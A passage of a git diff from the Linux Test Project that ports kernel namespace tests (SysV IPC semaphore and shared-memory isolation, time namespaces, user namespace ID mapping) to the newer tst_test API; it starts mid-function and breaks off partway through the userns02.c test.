(id2 == -1) { - perror("Semaphore create"); - if (errno != EEXIST) { - perror("semget failure"); - tst_resm(TBROK, "semget failure"); - } - } else - tst_resm(TINFO, - "Cont2: Able to create semaphore with sameKey"); - /* Passing the pipe Not-found mesg */ - write(p2[1], "notfnd", 7); - } + TST_CHECKPOINT_WAKE_AND_WAIT(0); - tst_exit(); -} + tst_res(TINFO, "Lock semaphore in container1"); -static void setup(void) -{ - tst_require_root(); - check_newipc(); + SAFE_SEMOP(id, &sm, 1); + + TST_CHECKPOINT_WAKE_AND_WAIT(0); + + SAFE_SEMCTL(id, IPC_RMID, 0); } -int main(int argc, char *argv[]) +static void check_sem2(void) { - int ret, id, use_clone = T_NONE; - char *tsttype = NONESTR; - char buf[7]; + int id; + struct sembuf sm = { + .sem_num = 0, + .sem_op = -1, + .sem_flg = IPC_NOWAIT | SEM_UNDO, + }; - setup(); + TST_CHECKPOINT_WAIT(0); - if (argc != 2) { - tst_resm(TINFO, "Usage: %s ", argv[0]); - tst_resm(TINFO, " where clone, unshare, or fork specifies" - " unshare method."); - tst_exit(); - } + tst_res(TINFO, "%s: reading key in child2", str_op); - /* Using PIPE's to sync between container and Parent */ - if (pipe(p1) == -1) { - perror("pipe1"); - tst_exit(); - } - if (pipe(p2) == -1) { - perror("pipe2"); - tst_exit(); + id = semget(MY_KEY, 1, 0); + if (id >= 0) { + if (use_clone == T_NONE) + tst_res(TPASS, "Plain cloned process able to access the semaphore created"); + else + tst_res(TFAIL, "%s: In namespace2 found semaphore created in namespace1", str_op); + } else { + if (use_clone == T_NONE) + tst_res(TFAIL, "Plain cloned process didn't find semaphore"); + else + tst_res(TPASS, "%s: In namespace2 unable to access semaphore created in namespace1", str_op); } - if (strcmp(argv[1], "clone") == 0) { - use_clone = T_CLONE; - tsttype = CLONESTR; - } else if (strcmp(argv[1], "unshare") == 0) { - use_clone = T_UNSHARE; - tsttype = UNSHARESTR; + TST_CHECKPOINT_WAKE_AND_WAIT(0); + + if (id >= 0) { + tst_res(TINFO, "Trying to unlock semaphore in container2"); + TEST(semop(id, &sm, 1)); + + if (TST_RET >= 0) { + if (use_clone == T_NONE) + tst_res(TPASS, "Plain cloned process able to unlock semaphore"); + else + tst_res(TFAIL, "%s: In namespace2 able to unlock the semaphore created in an namespace1", str_op); + } else { + if (use_clone == T_NONE) + tst_res(TFAIL, "Plain cloned process unable to unlock semaphore"); + else + tst_res(TPASS, "%s: In namespace2 unable to unlock the semaphore created in an namespace1", str_op); + } } - tst_resm(TINFO, "Semaphore Namespaces Test : %s", tsttype); + TST_CHECKPOINT_WAKE(0); +} - /* Create 2 containers */ - ret = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_sem1, NULL); - if (ret < 0) { - tst_brkm(TFAIL, NULL, "clone/unshare failed"); - } +static void run(void) +{ + clone_unshare_test(use_clone, CLONE_NEWIPC, check_sem1); + clone_unshare_test(use_clone, CLONE_NEWIPC, check_sem2); +} - ret = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_sem2, NULL); - if (ret < 0) { - tst_brkm(TFAIL, NULL, "clone/unshare failed"); - } - close(p2[1]); - read(p2[0], buf, 7); +static void setup(void) +{ + use_clone = get_clone_unshare_enum(str_op); +} + +static void cleanup(void) +{ + int id; - if (strcmp(buf, "exists") == 0) - if (use_clone == T_NONE) - tst_resm(TPASS, - "Plain cloned process able to access the semaphore " - "created"); - else - tst_resm(TFAIL, - "%s : In namespace2 found the semaphore " - "created in Namespace1", tsttype); - else if (use_clone == T_NONE) - tst_resm(TFAIL, "Plain cloned process didn't find semaphore"); - else - tst_resm(TPASS, - "%s : In namespace2 unable to access the semaphore " - "created in Namespace1", tsttype); - - /* Delete the semaphore */ id = semget(MY_KEY, 1, 0); - semctl(id, IPC_RMID, 0); - tst_exit(); + if (id >= 0) { + tst_res(TINFO, "Destroy semaphore"); + SAFE_SEMCTL(id, IPC_RMID, 0); + } } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .options = (struct tst_option[]) { + { "m:", &str_op, "Test execution mode " }, + {}, + }, +}; diff --git a/testcases/kernel/containers/sysvipc/shm_comm.c b/testcases/kernel/containers/sysvipc/shm_comm.c index 4b3bbfaa..e7ba8c8d 100755 --- a/testcases/kernel/containers/sysvipc/shm_comm.c +++ b/testcases/kernel/containers/sysvipc/shm_comm.c @@ -1,20 +1,17 @@ -/* Copyright (c) 2014 Red Hat, Inc. - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of version 2 the GNU General Public License as - * published by the Free Software Foundation. +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2014 Red Hat, Inc. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. + * Test if SysV IPC shared memory is properly working between two different + * namespaces. * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - *********************************************************************** - * File: shm_comm.c + * [Algorithm] * - * Description: * 1. Clones two child processes with CLONE_NEWIPC flag, each child * allocates System V shared memory segment (shm) with the _identical_ * key and attaches that segment into its address space. @@ -27,141 +24,68 @@ */ #define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include "ipcns_helper.h" -#include "test.h" -#include "safe_macros.h" +#include +#include +#include +#include "tst_safe_sysv_ipc.h" +#include "tst_test.h" +#include "common.h" #define TESTKEY 124426L #define SHMSIZE 50 -char *TCID = "shm_comm"; -int TST_TOTAL = 1; - -static void cleanup(void) -{ - tst_rmdir(); -} -static void setup(void) +static void chld1_shm(void) { - tst_require_root(); - check_newipc(); - tst_tmpdir(); - TST_CHECKPOINT_INIT(tst_rmdir); -} - -int chld1_shm(void *arg) -{ - int id, rval = 0; + int id; char *shmem; - id = shmget(TESTKEY, SHMSIZE, IPC_CREAT); - if (id == -1) { - perror("shmget"); - return 2; - } - - if ((shmem = shmat(id, NULL, 0)) == (char *) -1) { - perror("shmat"); - shmctl(id, IPC_RMID, NULL); - return 2; - } + id = SAFE_SHMGET(TESTKEY, SHMSIZE, IPC_CREAT); + shmem = SAFE_SHMAT(id, NULL, 0); *shmem = 'A'; - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* if child1 shared segment has changed (by child2) report fail */ if (*shmem != 'A') - rval = 1; + tst_res(TFAIL, "shared memory leak between namespaces"); + else + tst_res(TPASS, "shared memory didn't leak between namespaces"); - /* tell child2 to continue */ - TST_SAFE_CHECKPOINT_WAKE(NULL, 0); + TST_CHECKPOINT_WAKE(0); - shmdt(shmem); - shmctl(id, IPC_RMID, NULL); - return rval; + SAFE_SHMDT(shmem); + SAFE_SHMCTL(id, IPC_RMID, NULL); } -int chld2_shm(void *arg) +static void chld2_shm(void) { int id; char *shmem; - id = shmget(TESTKEY, SHMSIZE, IPC_CREAT); - if (id == -1) { - perror("shmget"); - return 2; - } + id = SAFE_SHMGET(TESTKEY, SHMSIZE, IPC_CREAT); - if ((shmem = shmat(id, NULL, 0)) == (char *) -1) { - perror("shmat"); - shmctl(id, IPC_RMID, NULL); - return 2; - } + shmem = SAFE_SHMAT(id, NULL, 0); - /* wait for child1 to write to his segment */ - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); + TST_CHECKPOINT_WAIT(0); *shmem = 'B'; - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - shmdt(shmem); - shmctl(id, IPC_RMID, NULL); - return 0; + SAFE_SHMDT(shmem); + SAFE_SHMCTL(id, IPC_RMID, NULL); } -static void test(void) +static void run(void) { - int status, ret = 0; - - ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_shm, NULL); - if (ret == -1) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); - - ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_shm, NULL); - if (ret == -1) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); - - - while (wait(&status) > 0) { - if (WIFEXITED(status) && WEXITSTATUS(status) == 1) - ret = 1; - if (WIFEXITED(status) && WEXITSTATUS(status) == 2) - tst_brkm(TBROK | TERRNO, cleanup, "error in child"); - if (WIFSIGNALED(status)) { - tst_resm(TFAIL, "child was killed with signal %s", - tst_strsig(WTERMSIG(status))); - return; - } - } - - if (ret) - tst_resm(TFAIL, "SysV shm: communication with identical keys" - " between namespaces"); - else - tst_resm(TPASS, "SysV shm: communication with identical keys" - " between namespaces"); + clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_shm); + clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_shm); } -int main(int argc, char *argv[]) -{ - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) - test(); - - cleanup(); - tst_exit(); -} +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .needs_checkpoints = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/containers/sysvipc/shmem_2nstest.c b/testcases/kernel/containers/sysvipc/shmem_2nstest.c index b172ee07..a184cfcb 100755 --- a/testcases/kernel/containers/sysvipc/shmem_2nstest.c +++ b/testcases/kernel/containers/sysvipc/shmem_2nstest.c @@ -1,187 +1,98 @@ -/* ************************************************************************* -* Copyright (c) International Business Machines Corp., 2009 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -* Author: Veerendra C -* -* Test Assertion: -* This testcase verifies the Shared Memory isoloation in 2 containers. -* It tries to create/access a Shared Memory created with the same KEY. -* -* Description: -* Create 2 'containers' with the below flag value -* Flag = clone, clone(CLONE_NEWIPC), or unshare(CLONE_NEWIPC) -* In Cont1, create Shared Memory segment with key 124426L -* In Cont2, try to access the MQ created in Cont1. -* PASS : -* If flag = None and the shmem seg is accessible in Cont2. -* If flag = unshare/clone and the shmem seg is not accessible in Cont2. -* If shmem seg is not accessible in Cont2, -* creates new shmem with same key to double check isloation in IPCNS. -* -* FAIL : -* If flag = none and the shmem seg is not accessible. -* If flag = unshare/clone and shmem seg is accessible in Cont2. -* If the new shmem seg creation Fails. -***************************************************************************/ - -#define _GNU_SOURCE 1 -#include -#include -#include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" -#include "ipcns_helper.h" - -#define TESTKEY 124426L -#define UNSHARESTR "unshare" -#define CLONESTR "clone" -#define NONESTR "none" - -char *TCID = "shmem_2nstest"; -int TST_TOTAL = 1; -int p2[2]; -int p1[2]; - +// SPDX-License-Identifier: GPL-2.0-or-later /* - * check_shmem1() does not read -- it writes to check_shmem2() when it's done. + * Copyright (c) International Business Machines Corp., 2009 + * Veerendra C + * Copyright (C) 2022 SUSE LLC Andrea Cervesato */ -int check_shmem1(void *vtest) -{ - int id1; - - (void) vtest; - - close(p1[0]); - - /* first create the key */ - id1 = shmget(TESTKEY, 100, IPC_CREAT); - if (id1 == -1) - tst_brkm(TFAIL | TERRNO, NULL, "shmget failed"); - - tst_resm(TINFO, "Cont1: Able to create shared mem segment"); - write(p1[1], "done", 5); - tst_exit(); -} -/* - * check_shmem2() reads from check_shmem1() and writes to main() when it's done. +/*\ + * [Description] + * + * Test if SysV IPC shared memory is properly used between two namespaces. + * + * [Algorithm] + * + * Create two 'containers'. + * In container1, create Shared Memory segment with a specific key. + * In container2, try to access the MQ created in container1. + * + * Test is PASS if flag = none and the shmem seg is accessible in container2. + * If flag = unshare/clone and the shmem seg is not accessible in container2. + * If shmem seg is not accessible in container2, creates new shmem with same + * key to double check isloation in IPCNS. + * + * Test is FAIL if flag = none and the shmem seg is not accessible, if + * flag = unshare/clone and shmem seg is accessible in container2 or if the new + * shmem seg creation Fails. */ -int check_shmem2(void *vtest) -{ - char buf[3]; - int id2; - (void) vtest; +#define _GNU_SOURCE - close(p1[1]); - close(p2[0]); +#include +#include +#include +#include "tst_safe_sysv_ipc.h" +#include "tst_test.h" +#include "common.h" - read(p1[0], buf, 3); - /* Trying to access shmem, if not existing create new shmem */ - id2 = shmget(TESTKEY, 100, 0); - if (id2 == -1) { - id2 = shmget(TESTKEY, 100, IPC_CREAT); - if (id2 == -1) - tst_resm(TFAIL | TERRNO, "shmget failed"); - else - tst_resm(TINFO, - "Cont2: Able to allocate shmem seg with " - "the same key"); - write(p2[1], "notfnd", 7); - } else - write(p2[1], "exists", 7); - - tst_exit(); -} +#define TESTKEY 124426L -static void setup(void) -{ - tst_require_root(); - check_newipc(); -} +static char *str_op; +static int use_clone; -int main(int argc, char *argv[]) +static void check_shmem1(void) { - int ret, use_clone = T_NONE; - char *tsttype = NONESTR; - char buf[7]; int id; - setup(); + id = SAFE_SHMGET(TESTKEY, 100, IPC_CREAT); - if (argc != 2) { - tst_resm(TINFO, "Usage: %s ", argv[0]); - tst_resm(TINFO, " where clone, unshare, or fork specifies" - " unshare method."); - tst_exit(); - } - - /* Using PIPE's to sync between containers and Parent */ - SAFE_PIPE(NULL, p1); - SAFE_PIPE(NULL, p2); - - if (strcmp(argv[1], "clone") == 0) { - use_clone = T_CLONE; - tsttype = CLONESTR; - } else if (strcmp(argv[1], "unshare") == 0) { - use_clone = T_UNSHARE; - tsttype = UNSHARESTR; - } + tst_res(TINFO, "container1: able to create shared mem segment"); - tst_resm(TINFO, "Shared Memory namespace test : %s", tsttype); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* Create 2 containers */ - ret = - do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmem1, NULL); - if (ret < 0) - tst_brkm(TFAIL, NULL, "clone/unshare failed"); + SAFE_SHMCTL(id, IPC_RMID, NULL); +} - ret = - do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmem2, NULL); - if (ret < 0) - tst_brkm(TFAIL, NULL, "clone/unshare failed"); +static void check_shmem2(void) +{ + TST_CHECKPOINT_WAIT(0); - close(p2[1]); - read(p2[0], buf, 7); + TEST(shmget(TESTKEY, 100, 0)); - if (strcmp(buf, "exists") == 0) { + if (TST_RET < 0) { if (use_clone == T_NONE) - tst_resm(TPASS, - "Plain cloned process able to access shmem " - "segment created"); + tst_res(TFAIL, "Plain cloned process didn't find shmem segment"); else - tst_resm(TFAIL, - "%s : In namespace2 found the shmem segment " - "created in Namespace1", tsttype); + tst_res(TPASS, "%s: in namespace2 unable to access the shmem seg created in namespace1", str_op); } else { if (use_clone == T_NONE) - tst_resm(TFAIL, - "Plain cloned process didn't find shmem seg"); + tst_res(TPASS, "Plain cloned process able to access shmem segment created"); else - tst_resm(TPASS, - "%s : In namespace2 unable to access the shmem seg " - "created in Namespace1", tsttype); + tst_res(TFAIL, "%s: in namespace2 found the shmem segment created in namespace1", str_op); } - /* destroy the key */ - id = shmget(TESTKEY, 100, 0); - shmctl(id, IPC_RMID, NULL); + TST_CHECKPOINT_WAKE(0); +} - tst_exit(); +static void run(void) +{ + clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmem1); + clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmem2); +} + +static void setup(void) +{ + use_clone = get_clone_unshare_enum(str_op); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .forks_child = 1, + .needs_root = 1, + .needs_checkpoints = 1, + .options = (struct tst_option[]) { + { "m:", &str_op, "Test execution mode " }, + {}, + }, +}; diff --git a/testcases/kernel/containers/sysvipc/shmnstest.c b/testcases/kernel/containers/sysvipc/shmnstest.c index cf69cab2..63ae62aa 100755 --- a/testcases/kernel/containers/sysvipc/shmnstest.c +++ b/testcases/kernel/containers/sysvipc/shmnstest.c @@ -1,144 +1,76 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) International Business Machines Corp., 2007 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -* Author: Serge Hallyn -* -* Create shm with key 0xEAEAEA -* clone, clone(CLONE_NEWIPC), or unshare(CLONE_NEWIPC) -* In cloned process, try to get the created shm + * Copyright (c) International Business Machines Corp., 2007 + * Serge Hallyn + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ -***************************************************************************/ +/*\ + * [Description] + * + * Test if SysV IPC shared memory with a specific key is shared between + * processes and namespaces. + */ + +#define _GNU_SOURCE -#define _GNU_SOURCE 1 #include -#include -#include -#include -#include -#include -#include -#include -#include -#include "ipcns_helper.h" -#include "test.h" +#include +#include +#include "tst_safe_sysv_ipc.h" +#include "tst_test.h" +#include "common.h" -char *TCID = "sysvipc_namespace"; -int TST_TOTAL = 1; #define TESTKEY 0xEAEAEA -int p1[2]; -int p2[2]; +static char *str_op; +static int use_clone; +static int ipc_id = -1; -int check_shmid(void *vtest) +static void check_shmid(void) { - char buf[3]; - int id; - - (void) vtest; - - close(p1[1]); - close(p2[0]); - - read(p1[0], buf, 3); - id = shmget(TESTKEY, 100, 0); - if (id == -1) { - write(p2[1], "notfnd", 7); + TEST(shmget(TESTKEY, 100, 0)); + if (TST_RET < 0) { + if (use_clone == T_NONE) + tst_res(TFAIL, "plain cloned process didn't find shmid"); + else + tst_res(TPASS, "%s: child process didn't find shmid", str_op); } else { - write(p2[1], "exists", 7); - shmctl(id, IPC_RMID, NULL); + if (use_clone == T_NONE) + tst_res(TPASS, "plain cloned process found shmid"); + else + tst_res(TFAIL, "%s: child process found shmid", str_op); } +} - tst_exit(); +static void run(void) +{ + clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmid); } static void setup(void) { - tst_require_root(); - check_newipc(); + use_clone = get_clone_unshare_enum(str_op); + ipc_id = shmget(TESTKEY, 100, IPC_CREAT); } -#define UNSHARESTR "unshare" -#define CLONESTR "clone" -#define NONESTR "none" -int main(int argc, char *argv[]) +static void cleanup(void) { - int r, use_clone = T_NONE; - int id; - char *tsttype = NONESTR; - char buf[7]; - - setup(); - - if (argc != 2) { - tst_resm(TFAIL, "Usage: %s ", argv[0]); - tst_brkm(TFAIL, - NULL, - " where clone, unshare, or fork specifies unshare method."); - } - if (pipe(p1) == -1) { - perror("pipe"); - exit(EXIT_FAILURE); - } - if (pipe(p2) == -1) { - perror("pipe"); - exit(EXIT_FAILURE); - } - tsttype = NONESTR; - if (strcmp(argv[1], "clone") == 0) { - use_clone = T_CLONE; - tsttype = CLONESTR; - } else if (strcmp(argv[1], "unshare") == 0) { - use_clone = T_UNSHARE; - tsttype = UNSHARESTR; + if (ipc_id != -1) { + tst_res(TINFO, "Destroying shared memory"); + SAFE_SHMCTL(ipc_id, IPC_RMID, NULL); } - - /* first create the key */ - id = shmget(TESTKEY, 100, IPC_CREAT); - if (id == -1) { - perror("shmget"); - tst_brkm(TFAIL, NULL, "shmget failed"); - } - - tst_resm(TINFO, "shmid namespaces test : %s", tsttype); - /* fire off the test */ - r = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmid, NULL); - if (r < 0) { - tst_brkm(TFAIL, NULL, "%s failed", tsttype); - } - - close(p1[0]); - close(p2[1]); - write(p1[1], "go", 3); - read(p2[0], buf, 7); - if (strcmp(buf, "exists") == 0) { - if (use_clone == T_NONE) - tst_resm(TPASS, "plain cloned process found shmid"); - else - tst_resm(TFAIL, "%s: child process found shmid", - tsttype); - } else { - if (use_clone == T_NONE) - tst_resm(TFAIL, - "plain cloned process didn't find shmid"); - else - tst_resm(TPASS, "%s: child process didn't find shmid", - tsttype); - } - - /* destroy the key */ - shmctl(id, IPC_RMID, NULL); - - tst_exit(); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .forks_child = 1, + .needs_root = 1, + .needs_checkpoints = 1, + .options = (struct tst_option[]) { + { "m:", &str_op, "Test execution mode " }, + {}, + }, +}; diff --git a/testcases/kernel/containers/timens/timens01.c b/testcases/kernel/containers/timens/timens01.c index 3f6235ec..3621b344 100755 --- a/testcases/kernel/containers/timens/timens01.c +++ b/testcases/kernel/containers/timens/timens01.c @@ -15,9 +15,9 @@ */ #define _GNU_SOURCE -#include "lapi/namespaces_constants.h" #include "lapi/posix_clocks.h" #include "tst_test.h" +#include "lapi/sched.h" static struct tcase { const char *desc; diff --git a/testcases/kernel/containers/userns/.gitignore b/testcases/kernel/containers/userns/.gitignore new file mode 100644 index 00000000..dbd4aee2 --- /dev/null +++ b/testcases/kernel/containers/userns/.gitignore @@ -0,0 +1,9 @@ +userns01 +userns02 +userns03 +userns04 +userns05 +userns06_capcheck +userns06 +userns07 +userns08 diff --git a/testcases/kernel/containers/userns/Makefile b/testcases/kernel/containers/userns/Makefile index 80681096..1531d1de 100755 --- a/testcases/kernel/containers/userns/Makefile +++ b/testcases/kernel/containers/userns/Makefile @@ -1,26 +1,11 @@ -############################################################################### -# ## -# Copyright (c) Huawei Technologies Co., Ltd., 2015 ## -# ## -# This program is free software; you can redistribute it and#or modify ## -# it under the terms of the GNU General Public License as published by ## -# the Free Software Foundation; either version 2 of the License, or ## -# (at your option) any later version. ## -# ## -# This program is distributed in the hope that it will be useful, but ## -# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -# for more details. ## -# ## -# You should have received a copy of the GNU General Public License ## -# along with this program. ## -############################################################################### +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) Huawei Technologies Co., Ltd., 2015 +# Copyright (C) 2023 SUSE LLC Andrea Cervesato top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk -include $(abs_srcdir)/../Makefile.inc -LDLIBS := -lclone $(LDLIBS) $(CAP_LIBS) +LDLIBS := $(LDLIBS) $(CAP_LIBS) include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/containers/userns/common.h b/testcases/kernel/containers/userns/common.h new file mode 100644 index 00000000..9b3a47b6 --- /dev/null +++ b/testcases/kernel/containers/userns/common.h @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Huawei Technologies Co., Ltd., 2015 + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +#ifndef COMMON_H +#define COMMON_H + +#include "tst_test.h" + +#define UID_MAP 0 +#define GID_MAP 1 + +static inline void updatemap(int cpid, int type, int idnum, int parentmappid) +{ + char path[BUFSIZ]; + char content[BUFSIZ]; + int fd; + + switch (type) { + case UID_MAP: + sprintf(path, "/proc/%d/uid_map", cpid); + break; + case GID_MAP: + sprintf(path, "/proc/%d/gid_map", cpid); + break; + default: + tst_brk(TBROK, "invalid type parameter"); + break; + } + + sprintf(content, "%d %d 1", idnum, parentmappid); + + fd = SAFE_OPEN(path, O_WRONLY, 0644); + SAFE_WRITE(SAFE_WRITE_ALL, fd, content, strlen(content)); + SAFE_CLOSE(fd); +} + +#endif diff --git a/testcases/kernel/containers/userns/userns01.c b/testcases/kernel/containers/userns/userns01.c index 1c8cf570..6fe0cd63 100755 --- a/testcases/kernel/containers/userns/userns01.c +++ b/testcases/kernel/containers/userns/userns01.c @@ -1,115 +1,104 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Huawei Technologies Co., Ltd., 2015 - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato */ -/* - * Verify that: - * If a user ID has no mapping inside the namespace, user ID and group - * ID will be the value defined in the file /proc/sys/kernel/overflowuid(65534) - * and /proc/sys/kernel/overflowgid(65534). A child process has a full set - * of permitted and effective capabilities, even though the program was - * run from an unprivileged account. +/*\ + * [Description] + * + * Verify that if a user ID has no mapping inside the namespace, user ID and + * group ID will be the value defined in the file /proc/sys/kernel/overflowuid + * (defaults to 65534) and /proc/sys/kernel/overflowgid (defaults to 65534). A + * child process has a full set of permitted and effective capabilities, even + * though the program was run from an unprivileged account. */ +#include "tst_test.h" + +#ifdef HAVE_LIBCAP #define _GNU_SOURCE -#include -#include + #include -#include -#include -#include -#include -#include "userns_helper.h" -#include "test.h" #include "config.h" -#if HAVE_SYS_CAPABILITY_H #include -#endif +#include "lapi/sched.h" #define OVERFLOWUIDPATH "/proc/sys/kernel/overflowuid" #define OVERFLOWGIDPATH "/proc/sys/kernel/overflowgid" -char *TCID = "user_namespace1"; -int TST_TOTAL = 1; - static long overflowuid; static long overflowgid; -/* - * child_fn1() - Inside a new user namespace - */ -static int child_fn1(void *arg LTP_ATTRIBUTE_UNUSED) +static void child_fn1(void) { - int exit_val = 0; int uid, gid; -#ifdef HAVE_LIBCAP cap_t caps; int i, last_cap; cap_flag_value_t flag_val; -#endif uid = geteuid(); gid = getegid(); - tst_resm(TINFO, "USERNS test is running in a new user namespace."); + tst_res(TINFO, "USERNS test is running in a new user namespace."); - if (uid != overflowuid || gid != overflowgid) { - printf("Got unexpected result of uid=%d gid=%d\n", uid, gid); - exit_val = 1; - } + TST_EXP_EQ_LI(uid, overflowuid); + TST_EXP_EQ_LI(gid, overflowgid); -#ifdef HAVE_LIBCAP caps = cap_get_proc(); - SAFE_FILE_SCANF(NULL, "/proc/sys/kernel/cap_last_cap", "%d", &last_cap); + + SAFE_FILE_SCANF("/proc/sys/kernel/cap_last_cap", "%d", &last_cap); + for (i = 0; i <= last_cap; i++) { cap_get_flag(caps, i, CAP_EFFECTIVE, &flag_val); - if (flag_val == 0) + if (!flag_val) break; + cap_get_flag(caps, i, CAP_PERMITTED, &flag_val); - if (flag_val == 0) + if (!flag_val) break; } - if (flag_val == 0) { - printf("unexpected effective/permitted caps at %d\n", i); - exit_val = 1; - } -#else - printf("System is missing libcap.\n"); -#endif - return exit_val; + if (!flag_val) + tst_res(TFAIL, "unexpected effective/permitted caps at %d", i); + else + tst_res(TPASS, "expected capabilities"); } static void setup(void) { - check_newuser(); - SAFE_FILE_SCANF(NULL, OVERFLOWUIDPATH, "%ld", &overflowuid); - SAFE_FILE_SCANF(NULL, OVERFLOWGIDPATH, "%ld", &overflowgid); + SAFE_FILE_SCANF(OVERFLOWUIDPATH, "%ld", &overflowuid); + SAFE_FILE_SCANF(OVERFLOWGIDPATH, "%ld", &overflowgid); } -int main(int argc, char *argv[]) +static void run(void) { - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWUSER, - child_fn1, NULL)); - - if (TEST_RETURN == -1) - tst_brkm(TFAIL | TTERRNO, NULL, "clone failed"); - tst_record_childstatus(NULL, -1); + const struct tst_clone_args args = { + .flags = CLONE_NEWUSER, + .exit_signal = SIGCHLD, + }; + + if (!SAFE_CLONE(&args)) { + child_fn1(); + return; } - tst_exit(); } + +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .caps = (struct tst_cap []) { + TST_CAP(TST_CAP_DROP, CAP_NET_RAW), + {} + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL, + }, +}; + +#else +TST_TEST_TCONF("System is missing libcap"); +#endif diff --git a/testcases/kernel/containers/userns/userns02.c b/testcases/kernel/containers/userns/userns02.c index ae49a159..3c8ce213 100755 --- a/testcases/kernel/containers/userns/userns02.c +++ b/testcases/kernel/containers/userns/userns02.c @@ -1,117 +1,76 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Huawei Technologies Co., Ltd., 2015 - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato */ -/* - * Verify that: - * The user ID and group ID, which are inside a container, can be modified - * by its parent process. +/*\ + * [Description] + * + * Verify that the user ID and group ID, which are inside a container, + * can be modified by its parent process. */ #define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include "userns_helper.h" -#include "test.h" - -char *TCID = "user_namespace2"; -int TST_TOTAL = 1; -static void cleanup(void) -{ - tst_rmdir(); -} +#include +#include "tst_test.h" +#include "lapi/sched.h" -/* - * child_fn1() - Inside a new user namespace - */ -static int child_fn1(void) +static void child_fn1(void) { - int exit_val; int uid, gid; - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); + TST_CHECKPOINT_WAIT(0); + uid = geteuid(); gid = getegid(); - if (uid 